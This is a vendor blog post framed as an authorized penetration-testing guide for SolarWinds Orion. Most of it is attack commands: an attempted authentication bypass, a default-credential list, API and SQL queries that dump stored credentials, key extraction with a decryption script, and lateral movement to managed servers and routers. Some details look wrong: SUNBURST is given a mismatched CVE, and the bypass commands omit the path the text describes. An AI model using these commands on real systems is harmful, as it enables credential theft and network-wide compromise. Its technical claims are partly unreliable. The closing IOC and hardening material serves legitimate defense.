Network Monitoring Security Testing

SolarWinds Orion Security Testing: CVE-2020-10148, SUNBURST, API Credential Extraction, and SWQL Injection

By Ironimo Research Team July 6, 2026 14 min read

SolarWinds Orion is the network monitoring platform that gave the world the SUNBURST supply chain attack — a backdoored software update that compromised 18,000 organizations including the US Treasury, CISA, and Microsoft. Beyond that historic incident, Orion itself is a high-value target in authorized penetration testing: it is installed throughout large enterprise networks, has privileged access to every device it monitors, stores SNMP community strings and WMI/SSH credentials for thousands of managed systems, and until patched had a trivial authentication bypass. This guide covers authorized Orion security testing methodology for red teams and internal security teams validating their own deployments.

Orion Architecture and Attack Surface
Reconnaissance and Version Fingerprinting
CVE-2020-10148: Authentication Bypass (CVSS 10.0)
Default Credentials and Brute Force
Orion REST API Enumeration
SWQL Injection Attacks
Stored Credential Extraction
MSSQL Database Access
SUNBURST Mechanics for Defenders
Post-Exploitation Impact
Hardening Checklist

Orion Architecture and Attack Surface

SolarWinds Orion is a Windows-based network management platform. The core application runs as a set of Windows services with a web interface served by IIS. Understanding the architecture is essential to understanding the attack surface — Orion has visibility into every managed device, and the credentials it uses to poll those devices are stored in its database.

Core Components

Orion Web Console — IIS-hosted web application, default port 8787 (HTTP) or 443 (HTTPS). All user interactions and API calls route through here.
Orion Core Services — Windows services (SolarWinds.BusinessLayerHost.exe, SolarWinds.InformationService.exe) running as SYSTEM or a dedicated service account.
SolarWinds Information Service (SWIS) — query interface using SolarWinds Query Language (SWQL). Exposes a REST endpoint and a TCP endpoint (port 17777).
Orion Database — Microsoft SQL Server (separate or bundled). Contains all node data, credentials, audit logs, and configuration. Default database name: SolarWindsOrion.
SolarWinds Agent — deployed to monitored nodes for agentless polling. Communicates back to the Orion server on port 17790.
Syslog/Trap Server — listens for SNMP traps (UDP 162) and syslog (UDP 514).
Flow Storage Database — NetFlow/IPFIX data storage. May contain additional database credentials.

Service	Default Port	Protocol	Primary Attack Vector
Orion Web Console	8787 / 443	HTTP/HTTPS	Authentication bypass, API abuse, credential theft
SWIS (Information Service)	17777	TCP/HTTPS	SWQL injection, unauthenticated query in older versions
SolarWinds Agent	17790	TCP	Agent communication interception
MSSQL	1433	TCP	Direct DB access if credentials found
SNMP Trap	162	UDP	SNMP community string capture
RabbitMQ (newer versions)	5671 / 15672	TCP	Message broker credentials, default credentials

Reconnaissance and Version Fingerprinting

Orion has a distinctive web interface that is easily fingerprinted from the login page. Version information is often exposed in page source, response headers, or the Orion API itself.

Web Console Discovery

# Default Orion ports to scan
nmap -sV -p 80,443,8787,8888,17777,17790 TARGET --open

# Port 8787 is the default non-SSL Orion web console
curl -sk http://TARGET:8787/ -I | head -20

# HTTPS variant
curl -sk https://TARGET/ -I | head -20

# Fingerprint: Orion login page contains distinctive strings
curl -sk http://TARGET:8787/ | grep -i "solarwinds\|orion\|swis\|SWNetPerfMon"

# Check for /Orion/ path (common IIS virtual directory)
curl -sk http://TARGET/Orion/ -L -I

Version Enumeration

# Orion version from page source
curl -sk http://TARGET:8787/ | grep -i "version\|build\|release"

# The Orion API exposes version information
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+ProductName,Version+FROM+Orion.ProductInfo" \
  | python3 -m json.tool

# SWIS TCP endpoint version banner
echo "" | nc -w3 TARGET 17777 2>/dev/null | strings | grep -i "solarwinds\|version"

# Check product DLLs via web (sometimes exposed)
curl -sk "http://TARGET:8787/Orion/images/SolarWindsLogo.png" -I
# Last-Modified header may hint at deployment date

# JavaScript files often contain version strings
curl -sk "http://TARGET:8787/" | grep -oP '"version"\s*:\s*"[^"]+"' | head -5

Scope note: SolarWinds Orion is frequently deployed with network-wide visibility — it may have credentials to your entire managed infrastructure. Confirm with the client before testing. Unauthorized access to Orion may constitute unauthorized access to every system it manages.

CVE-2020-10148: Authentication Bypass (CVSS 10.0)

CVE-2020-10148 is an authentication bypass vulnerability in SolarWinds Orion Platform versions 2019.4 HF5, 2020.2 (with no hotfix), and 2020.2 HF1. It was discovered and patched in December 2020, coinciding with the SUNBURST incident. The vulnerability allows an unauthenticated attacker to execute API requests as the Guest account by appending specific query parameters to the URL.

Vulnerability Mechanics

The Orion web application validates authentication for API requests, but a logic flaw in the URL routing allowed specific path segments to bypass authentication. When WebResource.axd or ScriptResource.axd appeared in the URL path before the actual API endpoint, the authentication check was skipped.

Exploitation

# Check if vulnerable — unauthenticated SWIS query
# Affected versions: 2019.4 HF5, 2020.2, 2020.2 HF1

# Method 1: WebResource.axd bypass
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+Caption+FROM+Orion.Nodes+LIMIT+5" \
  --path-as-is \
  -G --data-urlencode "query=SELECT Caption FROM Orion.Nodes LIMIT 5"
# Vulnerable: returns node data without authentication

# Method 2: ScriptResource.axd bypass path
curl -sk "http://TARGET:8787/Orion/SWNetPerfMon.DB/WebResource.axd?" \
  --next \
  "http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+Caption,IP_Address+FROM+Orion.Nodes"

# More direct exploitation — use the exact bypass path
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  --data '{"query": "SELECT Caption, IP_Address, NodeID FROM Orion.Nodes LIMIT 10"}' \
  -b "SWIS-SessionID=bypass"

# If bypass works, enumerate all managed nodes
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=" \
  -G --data-urlencode "query=SELECT Caption, IP_Address, MachineType, Vendor FROM Orion.Nodes ORDER BY Caption"

# Orion Python exploit PoC (for authorized testing)
python3 -c "
import requests
import urllib3
urllib3.disable_warnings()

target = 'https://TARGET:8787'
bypass_path = '/api2/swis/query?apitoken='
query = 'SELECT Caption, IP_Address FROM Orion.Nodes LIMIT 20'
url = f'{target}{bypass_path}'
resp = requests.get(url, params={'query': query}, verify=False, timeout=10)
print(resp.status_code, resp.json())
"

Affected Versions

Version	Vulnerable	Patch Available
2019.4 HF5 and earlier	Yes	Upgrade to 2019.4 HF6
2020.2 (no hotfix)	Yes	Apply HF2 or later
2020.2 HF1	Yes	Apply HF2 or later
2020.2 HF2 and later	No	N/A
2021.x and later	No	N/A

Default Credentials and Brute Force

SolarWinds Orion ships with a local admin account and typically inherits Active Directory accounts. The default installation creates several well-known accounts that should be tested in authorized engagements.

Known Default Credentials

# Default Orion accounts (test in authorized scope)
admin / admin
admin / (blank)
admin / solarwinds
Admin / Admin
guest / guest

# Orion login endpoint for credential testing
# POST to the login page
curl -sk -X POST "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:admin" \
  -d '{"query": "SELECT Username FROM Orion.UserAccounts"}'

# Alternatively, authenticate against the main login
curl -sk -c cookies.txt -X POST "http://TARGET:8787/Orion/Login.aspx" \
  --data "ctl00%24ContentPlaceHolder1%24Username=admin&ctl00%24ContentPlaceHolder1%24Password=admin&ctl00%24ContentPlaceHolder1%24btnSubmit=Login"

# Check response for redirect (success) vs error message (failure)
grep -i "location\|error\|invalid" response.txt

API Token Authentication

# Orion supports API key (token) authentication
# Generate API token from web UI: Settings > My Account > Add Token
# Test with generated token
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'admin:APITOKEN' | base64)" \
  -d '{"query": "SELECT * FROM Orion.UserAccounts"}'

# API tokens in Orion are stored in the database
# Retrievable post-exploitation via MSSQL access

Orion REST API Enumeration

Once authenticated (or with CVE-2020-10148), the Orion REST API (SWIS) provides access to all managed infrastructure data. The Information Service exposes a rich SWQL query interface and CRUD operations on all Orion entities.

API Endpoint Discovery

# Enumerate available SWIS entity types
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT EntityType, URI FROM Metadata.Entity"}'

# List all top-level verbs (SWIS methods)
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT Name, URI FROM Metadata.Verb"}'

# Enumerate all managed nodes with details
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{
    "query": "SELECT NodeID, Caption, IP_Address, MachineType, Vendor, OSVersion, CPULoad, MemoryUsed FROM Orion.Nodes ORDER BY Caption"
  }'

# Get all network interfaces with credentials
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{
    "query": "SELECT InterfaceID, FullName, AdminStatus, OperStatus, Caption FROM Orion.NPM.Interfaces WHERE AdminStatus=1"
  }'

# Enumerate all Orion users
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT AccountID, Name, AccountType, Enabled, Password FROM Orion.UserAccounts"}'

# Get alerts and alert thresholds (useful for evasion)
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT AlertID, Name, Description, ObjectType, Enabled FROM Orion.Alert"}'

REST API CRUD Operations

# Create a new admin user via REST API (if authorized)
curl -sk -X POST "http://TARGET:8787/api2/swis/create/Orion.UserAccounts" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{
    "Name": "testaudit",
    "Password": "Audit123!",
    "AccountType": "Orion",
    "AllowNodeManagement": true,
    "AllowAdmin": true
  }'

# Invoke a SWIS verb (custom action)
curl -sk -X POST "http://TARGET:8787/api2/swis/invoke/Orion.Nodes/PollNow" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"nodeIds": [1, 2, 3]}'

# Read/write operations on node properties
curl -sk -X POST "http://TARGET:8787/api2/swis/update/Orion.Nodes/NodeID=1" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"Caption": "modified-caption"}'

SWQL Injection Attacks

SolarWinds Query Language (SWQL) is a SQL-like query language exposed through the SWIS API. In vulnerable versions, SWQL injection allows privilege escalation or credential extraction from within the database. Even in patched versions, misconfigured API access grants (for example, read-only accounts with broader database permissions than intended) can be exploited.

SWQL Injection Basics

# SWQL is similar to SQL — test for injection in query parameters
# Inject into queries that accept user-controlled input
# Example: node search by caption
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=" \
  -G --data-urlencode "query=SELECT Caption FROM Orion.Nodes WHERE Caption LIKE '%'; SELECT 'injected' --"

# SWQL supports UNION-based extraction
# List all tables (entity types)
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT EntityType, URI, Description FROM Metadata.Entity WHERE EntityType LIKE '"'"'Orion%'"'"' ORDER BY EntityType"}'

# Extract credential-related tables
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT EntityType FROM Metadata.Entity WHERE EntityType LIKE '"'"'%Credential%'"'"' OR EntityType LIKE '"'"'%Password%'"'"' OR EntityType LIKE '"'"'%Secret%'"'"'"}'

Credential Table Enumeration via SWQL

# Enumerate the credential store (Orion.Credential entity)
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT CredentialID, Name, Description, Owner, CredentialType FROM Orion.Credential"}'
# Returns names and types of all stored credentials
# Does NOT return plaintext passwords via SWQL (they are encrypted)

# Check for Windows credentials (WMI polling)
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT Name, CredentialType, UserName FROM Orion.Credential WHERE CredentialType LIKE '"'"'%Windows%'"'"' OR CredentialType LIKE '"'"'%WMI%'"'"'"}'

# SSH credentials for Linux/network device monitoring
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT Name, CredentialType, UserName FROM Orion.Credential WHERE CredentialType LIKE '"'"'%SSH%'"'"' OR CredentialType LIKE '"'"'%SNMP%'"'"'"}'

# Which nodes use which credential profiles
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT n.Caption, n.IP_Address, c.Name, c.CredentialType, c.UserName FROM Orion.Nodes n JOIN Orion.Credential c ON n.CredentialID = c.CredentialID"}'

Important: SWQL does not directly expose plaintext credentials — they are AES-encrypted in the Orion database. Direct credential extraction requires MSSQL database access or the Orion encryption key. See the Database Access section below.

Stored Credential Extraction

Orion stores credentials for every monitored device — SNMP community strings, Windows/WMI credentials, SSH keys and passwords, SNMP v3 auth/privacy keys, and more. These are encrypted but the encryption key is stored on the Orion server itself, making credential extraction a matter of local access.

Credential Storage Architecture

Database encryption — credentials are AES-encrypted in the SolarWindsOrion MSSQL database in the Orion.Credentials table.
Encryption key location — stored in SolarWinds.InformationService.exe.config or in the Windows Registry under HKLM\SOFTWARE\SolarWinds\Orion\Core.
Service account — the Orion Windows services run as a service account. Credential recovery requires that service account's context or local SYSTEM privilege.

Extracting the Orion Encryption Key

# On the Orion server (requires local admin or SYSTEM)

# Method 1: Registry key (older versions)
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v EncryptionKey
reg query "HKLM\SOFTWARE\WOW6432Node\SolarWinds\Orion\Core" /v EncryptionKey

# Method 2: SolarWinds config file
type "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.InformationService.exe.config" | findstr /i "key\|encrypt\|secret"
type "C:\Program Files (x86)\SolarWinds\Orion\BusinessLayerHost.exe.config" | findstr /i "key\|password\|secret"

# Method 3: SolarWinds uses a CredentialManager wrapper
# Look for CredentialStore or DPAPI-protected blobs
dir "C:\ProgramData\SolarWinds\" /s /b | findstr /i "key\|secret\|cred"

# Method 4: SolarWinds encrypted credential in database (direct MSSQL approach)
# Connect to SQL Server and extract raw encrypted blobs
sqlcmd -S ORION-SQL-SERVER -d SolarWindsOrion -Q "SELECT CredentialID, Name, CredentialType, UserName, Password FROM dbo.Credential"

# Decrypt using the extracted key (Python example)
python3 -c "
from Crypto.Cipher import AES
import base64

# Replace with extracted key and ciphertext from DB
key = bytes.fromhex('YOUR_HEX_KEY_HERE')
ciphertext = base64.b64decode('ENCRYPTED_CRED_FROM_DB==')
# Orion uses AES-256-CBC; IV is typically prepended
iv = ciphertext[:16]
ct = ciphertext[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ct)
print(plaintext.rstrip(b'\x00').decode('utf-8', errors='ignore'))
"

SNMP Community String Extraction

# SNMP community strings (often plaintext or weakly encrypted)
# Via SWQL if accessible
curl -sk "http://TARGET:8787/api2/swis/query" \
  -H "Content-Type: application/json" \
  -u "admin:PASS" \
  -d '{"query": "SELECT n.Caption, n.IP_Address, s.Community, s.Version FROM Orion.Nodes n JOIN Orion.NodeSNMP s ON n.NodeID = s.NodeID"}'

# Direct MSSQL query for SNMP credentials
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "
SELECT n.Caption, n.IP_Address, n.Community AS SNMPCommunity, n.SNMPVersion
FROM dbo.NodesData n
WHERE n.Community IS NOT NULL AND n.Community != ''
ORDER BY n.Caption"

MSSQL Database Access

The SolarWinds Orion database is Microsoft SQL Server. The database credentials are stored in Orion configuration files on the server. With local admin access or access to the config files, you can extract the SQL credentials and connect directly to the database — bypassing all Orion API-level authentication.

Locating Database Credentials

# SolarWinds DB connection string location
type "C:\ProgramData\SolarWinds\Orion\SolarWinds.InformationService.exe.config"
# Look for: 
# Contains: Data Source=SERVER;Initial Catalog=SolarWindsOrion;User ID=oriondb;Password=CLEARTEXT_PASSWORD

# Alternative config locations
type "C:\Program Files (x86)\SolarWinds\Orion\Database.config"
type "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe.config"
type "C:\ProgramData\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.DatabaseConfiguration.config"

# Registry-based DB config (some versions)
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v "DatabaseServerName"
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v "DatabaseCredentials"

# Search for connection strings across all Orion configs
findstr /i /s /m "Data Source\|connectionString\|password" "C:\Program Files (x86)\SolarWinds\*.config"

Database Exploitation

# Connect to the Orion MSSQL database
sqlcmd -S ORION-DB-SERVER -d SolarWindsOrion -U oriondb -P 'EXTRACTED_PASSWORD'

# Extract all user accounts and hashed/encrypted passwords
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT AccountID, Name, Password, AccountType, Enabled FROM dbo.Accounts"

# Extract all stored credentials (encrypted blobs)
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT CredentialID, Name, CredentialType, UserName, Password, Owner FROM dbo.Credential ORDER BY CredentialType"

# Find SNMP community strings
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT Caption, IP_Address, Community, SNMPVersion FROM dbo.NodesData WHERE Community != '' ORDER BY Caption"

# Extract WMI (Windows Management Instrumentation) credentials
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "
SELECT n.Caption, n.IP_Address, c.Name, c.UserName, c.Password
FROM dbo.NodesData n
JOIN dbo.NodeSettings ns ON n.NodeID = ns.NodeID
JOIN dbo.Credential c ON ns.SettingValue = CAST(c.CredentialID AS VARCHAR(20))
WHERE ns.SettingName = 'WinRM.CredentialID'"

# Check for stored API tokens / integrations
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT * FROM dbo.Settings WHERE SettingName LIKE '%token%' OR SettingName LIKE '%secret%' OR SettingName LIKE '%key%'"

SUNBURST Mechanics for Defenders

The SUNBURST attack (CVE-2020-14005) embedded a backdoor into the SolarWinds Orion build process. Signed software updates containing the SUNBURST implant were distributed to 18,000 customers. Understanding the mechanics helps defenders identify similar supply chain attack patterns in their own environments.

How SUNBURST Worked

Build pipeline compromise — attackers compromised SolarWinds' build environment, injecting malicious code into the Orion DLL SolarWinds.Orion.Core.BusinessLayer.dll during the build process.
Dormancy period — after installation, the backdoor slept for up to two weeks and checked for specific conditions before activating. It would not activate if it detected analysis tools, certain domain names, or non-routable IP ranges.
C2 communication — the implant used DNS subdomain lookups to a C2 domain (avsvmcloud.com). The subdomain encoded the victim's hostname, domain, and internal IP as base32 in the DNS query. Responses directed the implant to its next action.
Post-exploitation — once active, SUNBURST could execute commands, collect files, spawn processes, and write to the registry. It used HTTPS to communicate and used the Orion server's outbound internet access as its egress path.

IOCs and Detection Artifacts

# Check for SUNBURST-affected DLL versions (SHA-256 hashes)
# Malicious versions of SolarWinds.Orion.Core.BusinessLayer.dll:
# a25cadd48d70f6ea0c4a241d99c5d1f1b3c985d4ab9b763d90197acd3f3d478e
# d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
# 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

# PowerShell: check installed DLL version
Get-Item "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll" | Select-Object VersionInfo

# Hash check
Get-FileHash "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll" -Algorithm SHA256

# DNS logs: look for avsvmcloud.com queries
# The subdomain pattern was: [encoded-hostname].[random].avsvmcloud.com
grep -i "avsvmcloud" /var/log/named/query.log 2>/dev/null
# Windows DNS: check Event ID 2 in DNS-Server/Analytical log

# Check registry for SUNBURST persistence
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v ReportWatcherRetry
# SUNBURST stored its state in this registry key

Post-Exploitation Impact

A compromised Orion server is a pivot point into everything it monitors. The blast radius depends entirely on the scope of Orion's deployment, but in large enterprise environments it is enormous.

What You Can Access Post-Compromise

SNMP community strings for all monitored network devices — routers, switches, firewalls. With read-write community strings, you can modify device configurations.
Windows/WMI credentials for every Windows server in the monitoring scope. These are domain or local accounts with at minimum read access.
SSH credentials for Linux servers and network devices with SSH monitoring.
SNMP v3 auth/privacy keys for SNMPv3-protected devices.
Service account passwords for the Orion services themselves, which often have elevated privileges on the SQL Server.
Full network topology — IP addressing, VLANs, routing, firewall rules, device types and versions, all from Orion's data.
Performance data and thresholds — useful for understanding detection gaps and alert suppression windows.
Remote code execution on managed nodes — Orion can push configuration changes and run scripts against managed devices.

Critical impact: In organizations where Orion monitors Active Directory, it often has WMI or PowerShell remoting credentials for domain controllers. These credentials could enable direct Domain Admin escalation.

Lateral Movement from Orion

# Use extracted WMI credentials to access monitored Windows systems
wmic /node:"TARGET-SERVER" /user:"DOMAIN\orion-svc" /password:"EXTRACTED_PASS" \
  process call create "whoami > C:\Temp\out.txt"

# PowerShell remoting with extracted service account
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\orion-svc", (ConvertTo-SecureString "EXTRACTED_PASS" -AsPlainText -Force))
Invoke-Command -ComputerName TARGET-SERVER -Credential $cred -ScriptBlock { whoami; hostname }

# SNMP read-write: reconfigure network devices
snmpset -v2c -c EXTRACTED_COMMUNITY ROUTER_IP \
  1.3.6.1.2.1.1.5.0 s "compromised-router"

# SSH to monitored Linux/network devices
ssh orion-monitoring@LINUX-SERVER -i /path/to/extracted-key "id; hostname"

Hardening Checklist

SolarWinds Orion hardening requires both patching and architectural controls. The platform's inherent visibility into the entire network means a compromise has catastrophic blast radius — every control listed below is critical.

Control	Priority	Notes
Patch to latest Orion version	Critical	CVE-2020-10148 and SUNBURST were patched in Dec 2020; unpatched installs should not be connected to the network
Verify software integrity	Critical	Compare DLL hashes against SolarWinds' published SHA-256 values; re-download if uncertain
Change default admin credentials	Critical	admin/admin is unacceptable; enforce MFA on Orion web console
Network isolate the Orion server	High	Orion should not have outbound internet access; use a proxy or firewall. SUNBURST exploited outbound DNS and HTTPS
Use least-privilege monitoring accounts	High	Create dedicated read-only service accounts per device type; rotate regularly
Restrict SWIS API access	High	Firewall port 17777; require authentication for all SWIS queries
Protect the Orion SQL Server	High	SQL Server should not be internet-facing; use Windows Authentication; rotate oriondb credentials
Enable Orion audit logging	Medium	Log all admin actions, API calls, and credential usage changes; ship to SIEM
Monitor for SUNBURST IOCs	High	Check DNS logs for avsvmcloud.com queries; audit DLL hashes after every update
Implement SNMP v3 everywhere	Medium	v1/v2c community strings are cleartext; v3 provides auth + encryption

Automate Orion Attack Surface Scanning

Ironimo's Kali Linux-powered scanning engine detects exposed SolarWinds Orion instances, tests authentication controls, and identifies credential exposure risks across your monitored infrastructure — without manual tool setup.

Start free scan